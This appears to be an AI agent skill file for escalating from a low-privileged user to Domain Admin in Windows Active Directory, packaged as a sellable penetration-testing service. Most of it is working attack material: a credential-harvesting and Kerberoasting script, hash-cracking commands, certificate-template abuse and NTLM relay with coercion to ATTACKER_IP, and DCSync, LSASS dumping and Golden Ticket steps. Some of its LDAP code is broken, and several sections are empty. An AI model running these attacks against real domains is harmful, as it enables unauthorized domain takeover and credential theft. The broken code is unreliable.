Ad Killer

Ad Killer

Overview

Compromise Windows Active Directory domains from low-privileged domain user to Domain Admin. Covers the full AD exploitation kill chain: reconnaissance with BloodHound, credential harvesting via Kerberoasting and DCSync, ACL abuse path climbing, ADCS certificate escalation (ESC1-ESC8), and post-exploitation lateral movement across the domain. Every technique maps to MITRE ATT&CK tactics (TA0006 Credential Access, TA0008 Lateral Movement, TA0004 Privilege Escalation).

This skill turns a foothold on one workstation into complete domain compromise, then translates that capability into paid AD penetration testing services for enterprise clients.

When to Use

Trigger phrases:

• "Active Directory penetration test" / "AD security assessment"
• "Domain privilege escalation" / "BloodHound attack path analysis"
• "Kerberoasting / DCSync / ADCS exploitation"
• "Lateral movement in Windows domains"

Scenarios:

• Authorized internal pentest against a Windows domain
• Post-exploitation after gaining initial access to a domain-joined workstation
• AD security audit for compliance (PCI DSS 4.0, SOC 2, ISO 27001)
• Purple team exercise validating AD detection controls
• Ransomware simulation — test if AD misconfigurations accelerate lateral spread

When NOT to Use

• Without signed authorization (ROE document) from the domain owner
• On production domain controllers without prior change management approval
• When the test scope explicitly excludes AD infrastructure
• When you are inside a law enforcement or military AD environment without special written approval
• When the goal is long-term persistence or data theft rather than demonstrating compromise paths

Money-Making Overview

Buyer persona: CISOs and IT directors at mid-market enterprises (200-5,000 employees) who know Active Directory is the backbone of their security but have never had it professionally attacked. These organizations run on AD but have unpatched domain controllers, legacy trusts, weak service account passwords, and misconfigured ACLs. They need to see how a real attacker would move from a workstation to Domain Admin before a ransomware group shows them.

What they'll pay for: Technical proof that their AD is (or isn't) resilient against common domain escalation paths. BloodHound attack path maps with supporting evidence, Kerberoastable service account inventory, ADCS ESC findings with Certipy output, and clear fix guidance that IT can action.

Pricing tiers (service model):

First-dollar timeline: Deliver AD Health Scan within 48 hours of receiving credentials. Use findings as upsell to full Penetration Test. Typical close rate: 40% of Health Scan clients convert within 30 days.

First Action in 60 Minutes

Run this script from your Kali VM to collect BloodHound data and run initial attack path analysis. It requires domain user credentials (low-privilege is fine) and the domain controller hostname or IP.

#!/bin/bash
# ad-sweep.sh — BloodHound collection + attack path analysis
# Usage: ./ad-sweep.sh <domain> <dc-ip> <username>
# Example: ./ad-sweep.sh corp.local 192.168.1.10 john

set -euo pipefail

DOMAIN="${1:?Usage: $0 <domain> <dc-ip> <username>}"
DC_IP="${2:?Usage: $0 <domain> <dc-ip> <username>}"
USER="${3:?Usage: $0 <domain> <dc-ip> <username>}"
OUTDIR="ad-report-$DOMAIN-$(date +%Y%m%d-%H%M)"
PASS=""

read -rsp "[?] Password for $DOMAIN\\$USER: " PASS
echo

mkdir -p "$OUTDIR"

# ──────────────────────────────────────────────────────────────
# Phase 1: BloodHound data collection via SharpHound + Python
# ──────────────────────────────────────────────────────────────

echo "[*] Phase 1: Collecting BloodHound data..."

# Option A: SharpHound via Python impacket (no Windows needed)
if command -v bloodhound-python &>/dev/null; then
    echo "[*] Using bloodhound-python..."
    bloodhound-python -d "$DOMAIN" -dc "$DC_IP" -u "$USER" -p "$PASS" \
        -ns "$DC_IP" --dns-tcp -c All --zip -o "$OUTDIR/bloodhound"
fi

# Option B: If SharpHound.exe available (upload to compromised host)
if [ -f ./SharpHound.exe ]; then
    echo "[*] SharpHound.exe found — you can upload and run:"
    echo "    SharpHound.exe -c All --ZipFileName bloodhound.zip"
fi

# ──────────────────────────────────────────────────────────────
# Phase 2: LDAP domain info dump (via ldapsearch / Python)
# ──────────────────────────────────────────────────────────────

echo "[*] Phase 2: LDAP enumeration..."

python3 << PYEOF
import subprocess, json
from ldap3 import Server, Connection, ALL, NTLM

try:
    server = Server("$DC_IP", get_info=ALL, use_ssl=False)
    conn = Connection(server, user="$DOMAIN\\$USER", password="$PASS",
                      authentication=NTLM, auto_bind=True)

    # Get domain info
    conn.search(search_base="DC=$DOMAIN.replace('.',',DC=')",
                search_filter="(objectClass=domain)",
                attributes=["name", "objectSid", "dc", "distinguishedName",
                           "ms-DS-MachineAccountQuota", "lockoutThreshold",
                           "lockoutDuration", "pwdProperties"])
    print("[+] Domain info:", json.dumps(conn.entries[0].entry_attributes_to_values() if conn.entries else {}, indent=2))

    # Get domain admins group members
    conn.search(search_base="CN=Domain Admins,CN=Users," +
                           "DC=$DOMAIN.replace('.',',DC=')",
                search_filter="(objectClass=group)",
                attributes=["member", "name", "distinguishedName", "objectSid"])
    if conn.entries:
        members = conn.entries[0].member.values if conn.entries[0].member else []
        print(f"[+] Domain Admins ({len(members)} members):", json.dumps(members, indent=2))
    else:
        print("[!] Could not retrieve Domain Admins group")

    # Kerberoastable accounts — userAccountControl bits check
    conn.search(search_base="DC=$DOMAIN.replace('.',',DC=')",
                search_filter="(&(objectCategory=person)(objectClass=user)" +
                             "(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))",
                attributes=["sAMAccountName", "servicePrincipalName", "distinguishedName", "userAccountControl"])
    kerberoastable = [e.sAMAccountName.value for e in conn.entries if e.sAMAccountName]
    print(f"[+] Kerberoastable accounts ({len(kerberoastable)}):", json.dumps(kerberoastable, indent=2))

    # AS-REP roastable accounts — UF_DONT_REQUIRE_PREAUTH = 4194304
    conn.search(search_base="DC=$DOMAIN.replace('.',',DC=')",
                search_filter="(&(objectCategory=person)(objectClass=user)" +
                             "(userAccountControl:1.2.840.113556.1.4.803:=4194304))",
                attributes=["sAMAccountName", "distinguishedName", "userAccountControl"])
    asrep = [e.sAMAccountName.value for e in conn.entries if e.sAMAccountName]
    print(f"[+] AS-REP roastable accounts ({len(asrep)}):", json.dumps(asrep, indent=2))

    conn.unbind()
except Exception as e:
    print(f"[!] LDAP error: {e}")
PYEOF

# ──────────────────────────────────────────────────────────────
# Phase 3: Kerberoasting via Impacket
# ──────────────────────────────────────────────────────────────

echo ""
echo "[*] Phase 3: Kerberoasting..."

impacket-GetUserSPNs -request -dc-ip "$DC_IP" "$DOMAIN/$USER:$PASS" \
    -outputfile "$OUTDIR/kerberoast_tgs.txt" 2>&1 | tail -5

if [ -s "$OUTDIR/kerberoast_tgs.txt" ]; then
    echo "[+] Kerberos TGS tickets saved ($(wc -l < "$OUTDIR/kerberoast_tgs.txt") lines)"
else
    # Try with alternate format
    GetUserSPNs.py "$DOMAIN/$USER:$PASS" -dc-ip "$DC_IP" -request \
        2>/dev/null > "$OUTDIR/kerberoast_tgs.txt"
    echo "[*] Kerberoast attempt complete"
fi

# ──────────────────────────────────────────────────────────────
# Phase 4: CrackMapExec quick domain assessment
# ──────────────────────────────────────────────────────────────

echo ""
echo "[*] Phase 4: Quick domain assessment with CrackMapExec..."

crackmapexec smb "$DC_IP" -u "$USER" -p "$PASS" -d "$DOMAIN" \
    --shares 2>/dev/null | tee "$OUTDIR/cme_shares.txt"

crackmapexec smb "$DC_IP" -u "$USER" -p "$PASS" -d "$DOMAIN" \
    --sessions 2>/dev/null | tee "$OUTDIR/cme_sessions.txt"

# Check for SMB signing
crackmapexec smb "$DC_IP" 2>/dev/null | tee "$OUTDIR/cme_signing.txt"

# ──────────────────────────────────────────────────────────────
# Phase 5: BloodHound path analysis (require neo4j running)
# ──────────────────────────────────────────────────────────────

echo ""
echo "[*] Phase 5: BloodHound attack path analysis..."

if command -v bloodhound-analytics &>/dev/null; then
    # Try to find BH zip
    BH_FILE=$(find "$OUTDIR" -name "*.zip" | head -1)
    if [ -n "$BH_FILE" ]; then
        echo "[*] Running Analytics in DB..."
        bloodhound-analytics -db "$BH_FILE" 2>/dev/null || true
    fi
fi

# ──────────────────────────────────────────────────────────────
# Summary
# ──────────────────────────────────────────────────────────────

echo ""
echo "╔══════════════════════════════════════════════════════════════╗"
echo "║  AD SWEEP COMPLETE                                          ║"
echo "╚══════════════════════════════════════════════════════════════╝"
echo ""
echo "Output directory: $OUTDIR"
echo ""
echo "Next steps (priority order):"
echo "  1. Crack captured Kerberos tickets: hashcat -m 13100 $OUTDIR/kerberoast_tgs.txt /usr/share/wordlists/rockyou.txt"
echo "  2. Import BloodHound ZIP into neo4j and run shortest path queries from your user to DOMAIN ADMINS"
echo "  3. Check for privileged session attacks (BloodHound: shortest path to high-value targets)"
echo "  4. Enumerate ACL abuse paths: python3 scripts/check-acl-abuse.py (see Deliverable Format below)"
echo "  5. If ADCS detected, run Certipy for ESC1-ESC8: certipy find -u USER@domain -p PASS -dc-ip DC_IP"
echo ""

What to do next: Import the BloodHound ZIP file from $OUTDIR/bloodhound/ into the BloodHound CE GUI (ensure neo4j is running). Run these Cypher queries immediately:

// Shortest paths from owned users to Domain Admins
MATCH p=shortestPath((n)-[:MemberOf|HasSession|AdminTo|AllExtendedRights|GenericAll|WriteDACL|WriteOwner|Owns|ForceChangePassword|AddMember|Contains|GpLink|AllowedToDelegate|TrustedBy|CanRDP|ExecuteDCOM*1..]->(m:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p

// Find kerberoastable users with shortest path
MATCH (u:User {hasspn:true}) RETURN u.name, u.samaccountname

// Find AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.samaccountname

// Find all users with admin sessions on high-value targets
MATCH (u:User)-[:HasSession]->(c:Computer)-[:AdminTo|MemberOf|Contains|GpLink*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}) RETURN u.name, c.name

Follow each path to its root cause (an ACL permission, a group membership, a session), document the evidence, and add it to the deliverable report.

Prerequisites

• Kali Linux or Parrot OS with: impacket, bloodhound-python, neo4j, crackmapexec, hashcat, ldap3 (Python)
• Domain credentials (low-privilege domain user account — you don't need admin rights to enumerate most AD attack paths)
• Network access to domain controller on ports 389 (LDAP), 88 (Kerberos), 445 (SMB)
• Python packages: ldap3, bloodhound, impacket (pip install ldap3 bloodhound impacket)
• BloodHound CE and neo4j (for graph analysis)
• Tools to have on hand: Certipy (ADCS), Rubeus (Kerberos), Mimikatz (LSASS), PKINITtools (Kerberos PKINIT)

Tools

Workflow

Phase 1: Reconnaissance & Collection

1. Enumerate domain — Query LDAP for domain info, users, groups, computers, trusts, GPOs, OUs
2. Collect BloodHound data — Run bloodhound-python -c All to gather nodes and edges
3. Identify low-hanging fruit — Check for null sessions, anonymous LDAP binds, SMB null sessions
4. Enumerate Kerberos — Dump SPNs for Kerberoast candidates, flag accounts without pre-auth (AS-REP)
5. Check ADCS — Run certipy find to map certificate templates and ESC vulnerabilities
6. Map trusts — Enumerate inter-forest and intra-forest trusts, SID filtering status

Phase 2: Credential Access

1. Kerberoast — impacket-GetUserSPNs -request to dump TGS tickets for offline cracking
2. AS-REP Roast — impacket-GetNPUsers against accounts without pre-auth
3. Crack hashes — hashcat -m 13100 kerberoast_tgs.txt rockyou.txt (RTX 2060 SUPER: ~20GH/s on NTLM, ~200kH/s on Kerberos TGS)
4. Password spraying — Test cracked passwords across other accounts via crackmapexec smb
5. DCSync — If you have Domain Admin or Replicating Directory Changes rights: impacket-secretsdump -just-dc DOMAIN/USER@DC_IP

Phase 3: Privilege Escalation (Attack Path Climbing)

For each attack path found by BloodHound, execute the corresponding technique:

Phase 4: ADCS Exploitation (if Certificate Services present)

# Find vulnerable templates
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -stdout

# ESC1 — Low-priv user can enrol in a template that issues as domain admin
certipy req -u "$USER@$DOMAIN" -p "$PASS" -ca CA-SERVER -template ESC1TEMPLATE -upn "administrator@$DOMAIN"

# ESC2/3 — Template allows any purpose (Any Purpose) + enrolment rights
certipy req -u "$USER@$DOMAIN" -p "$PASS" -ca CA-SERVER -template ESC2TEMPLATE

# ESC4 — Low-priv user has WriteOwner/WriteDACL on certificate template
certipy template -u "$USER@$DOMAIN" -p "$PASS" -template VULN_TEMPLATE -save-old

# ESC8 — NTLM relay to AD CS Web Enrollment via Coercion
ntlmrelayx.py -t "http://CA-SERVER/certsrv/certfnsh.asp" -smb2support --adcs
# In another window: PrinterBug coercion against target DC
dementor.py -d DOMAIN -u USER -p PASS ATTACKER_IP TARGET_DC

Phase 5: Lateral Movement & Full Compromise

1. Use cracked credentials — Spray across domain-joined machines via crackmapexec
2. Dump LSASS — Remote Minidump or Mimikatz via WMI/SMB
3. Extract krbtgt hash — impacket-secretsdump -just-dc DOMAIN/ADMIN@DC_IP
4. Golden Ticket — Mimikatz "kerberos::golden /domain:DOMAIN /sid:S-1-5-... /krbtgt:HASH /user:Administrator /ptt"
5. Silver Ticket — Forge service-specific TGS for any machine
6. DCSync — Extract all domain hashes in one command
7. SID History Injection — Add enterprise admin SID to cross-forest trust

Deliverable Format

When delivering an AD penetration test report to a client, use this template:

╔══════════════════════════════════════════════════════════════════════╗
║                  ACTIVE DIRECTORY SECURITY ASSESSMENT                ║
║                     [Client Name] — [Date Range]                    ║
║                        Tier: [Health Scan / Pentest / Purple]       ║
╚══════════════════════════════════════════════════════════════════════╝

1. EXECUTIVE SUMMARY
   ┌─────────────────────────────────────────────────────────────────┐
   │ Started from: DOMAIN\lowprivuser                                │
   │ Achieved:      DOMAIN\Administrator (domain compromise)          │
   │ Time to DA:    4.2 hours                                        │
   │                                                                  │
   │ Attack chain:                                                   │
   │   1. LDAP enumeration -> found Kerberoastable service account    │
   │   2. Cracked SPN hash (hashcat, 12 mins)                        │
   │   3. Service account had GenericAll on HR group                  │
   │   4. HR group member had WriteDACL on Domain Admins              │
   │   5. Added Replication rights -> DCSync -> full domain hash dump │
   │                                                                  │
   │ Risk rating: CRITICAL                                            │
   └─────────────────────────────────────────────────────────────────┘

2. SCOPE
   Domain:          corp.example.com
   Domain Controllers: DC01 (192.168.1.10), DC02 (192.168.1.11)
   Forest:          corp.example.com
   AD Functional Level: Windows Server 2016
   Starting access: Standard domain user (john.doe)

3. ATTACK PATH SUMMARY (top 5)
   ┌──────┬──────────────────────────────────────┬──────────┬──────────┐
   │  #   │ Path Description                     │ Steps    │ Risk     │
   ├──────┼──────────────────────────────────────┼──────────┼──────────┤
   │  1   │ Kerberoast -> svc_sql -> GenericAll   │     3    │ CRITICAL │
   │  2   │ AS-REP -> backup_user -> AdminTo DC01 │     2    │ CRITICAL │
   │  3   │ ESC1 certificate template abuse       │     2    │ HIGH     │
   │  4   │ Constrained delegation on svc_iis     │     3    │ HIGH     │
   │  5   │ DCOM lateral to admin workstation     │     4    │ MEDIUM   │
   └──────┴──────────────────────────────────────┴──────────┴──────────┘

4. BLOODHOUND ATTACK PATH ANALYSIS

   Path #1 — Kerberoasting to Domain Admin (steps 3)
   -------------------------------------------
   [user: john.doe] --MemberOf--> [group: Domain Users]
   [user: john.doe] --HasSession--> [computer: WORKSTATION42]
   [computer: WORKSTATION42] --AdminTo--> [computer: SQLSRV01]
   [user: svc_sql_agent] --HasSession--> [computer: SQLSRV01]
   [user: svc_sql_agent] --MemberOf--> [group: SQL Admins]
   [group: SQL Admins] --GenericAll--> [group: HR Admins]
   [user: hr_admin] --MemberOf--> [group: HR Admins]
   [user: hr_admin] --WriteDACL--> [group: Domain Admins]
   [group: Domain Admins] --Contains--> [user: Administrator]

   Remediation: Remove GenericAll between SQL Admins and HR Admins.
   Rotate svc_sql_agent password (last changed 2022-03-14).

5. SERVICE ACCOUNT HYGIENE
   ┌─────────────────────┬────────┬──────────┬──────────┬────────────┐
   │ Account             │ SPNs   │ Last Pwd │ Cracked? │ Risk Score │
   ├─────────────────────┼────────┼──────────┼──────────┼────────────┤
   │ svc_sql_agent       │   3    │ 2022-03  │   YES    │    9.5     │
   │ svc_backup          │   1    │ 2023-01  │   YES    │    8.0     │
   │ svc_iis_pool        │   5    │ 2024-06  │    NO    │    4.0     │
   │ SRV_JOIN$           │   1    │ 2024-11  │    NO    │    2.0     │
   └─────────────────────┴────────┴──────────┴──────────┴────────────┘

   Total Kerberoastable accounts: 14
   Accounts cracked within 1 hour (rockyou.txt): 3

6. ADCS FINDINGS
   ┌──────┬──────────┬────────────────────────────────────┬────────────┐
   │  #   │ ESC ID   │ Template / Issue                   │ Severity   │
   ├──────┼──────────┼────────────────────────────────────┼────────────┤
   │  1   │ ESC1     │ CorpCertTemplate (enrol: domain     │ CRITICAL   │
   │      │          │ users, EKU: client auth, SAN: edit) │            │
   │  2   │ ESC3     │ CorpEnrollmentAgent                 │ HIGH       │
   │  3   │ ESC8     │ Web enrollment NTLM relay           │ CRITICAL   │
   │  4   │ ESC10    │ Weak certificate mapping            │ MEDIUM     │
   └──────┴──────────┴────────────────────────────────────┴────────────┘

7. TRUST RELATIONSHIPS
   ┌──────────────────────┬──────────┬────────────────────────────────┐
   │ Trust Name           │ Type     │ Risk Assessment                │
   ├──────────────────────┼──────────┼────────────────────────────────┤
   │ corp.example.com     │ Parent   │ SID filtering DISABLED         │
   │   -> ad.acquirer.com │          │ Possible SIDHistory injection  │
   │                      │          │ to escalate to Enterprise Auth │
   └──────────────────────┴──────────┴────────────────────────────────┘

8. RECOMMENDATIONS (by priority)
   ┌──────┬────────────────────────────────────────┬──────────┬────────┐
   │  #   │ Action                                 │ Severity │ Cost   │
   ├──────┼────────────────────────────────────────┼──────────┼────────┤
   │  1   │ Rotate svc_sql_agent password now      │ CRITICAL │ 15 min │
   │  2   │ Disable ESC1 template CorpCertTemplate │ CRITICAL │ 10 min │
   │  3   │ Enable SID filtering on corp->acquirer │ HIGH     │ config │
   │  4   │ Audit service account ACL delegation   │ HIGH     │ 1 hour │
   │  5   │ Deploy LAPS on all workstations        │ MEDIUM   │ 2 days │
   │  6   │ Implement tiered admin model (ESAEA)   │ MEDIUM   │ 2 wks  │
   │  7   │ Enable advanced audit policies + Sysmon │ MEDIUM  │ 1 day  │
   │  8   │ Run quarterly Kerberoast audit         │ LOW      │ 30 min │
   └──────┴────────────────────────────────────────┴──────────┴────────┘

9. APPENDIX
   A. Raw Kerberos TGS tickets (encrypted)
   B. BloodHound JSON graph data
   C. Certipy full output
   D. Cracked password evidence (hashes only, not plaintext)
   E. Complete Impacket log output
   F. Detection rules (Sigma format for Splunk/Sentinel)

LABOR SUMMARY
   Recon & collection:    2.5 hours
   Attack path analysis:  4.0 hours
   ADCS assessment:       2.0 hours

PAYMENT: USDC / Wire / ACH (net 15)

Verification

• BloodHound collector completed with all nodes/edges enumerated and domains mapped
• Kerberoastable accounts identified and TGS tickets captured; AS-REP roastable accounts flagged
• ADCS CA(s) found and templates enumerated with Certipy
• At least one (or documented zero) attack path from starting user to Domain Admin
• DCSync executed to confirm domain compromise
• Every exploit step captured with timestamped evidence (screenshots/logs)
• Recommendations are specific, actionable, and sorted by impact
• No persistence mechanisms left in client environment; credentials handled per ROE
• Report includes raw data appendix for client review

Anti-Rationalization Table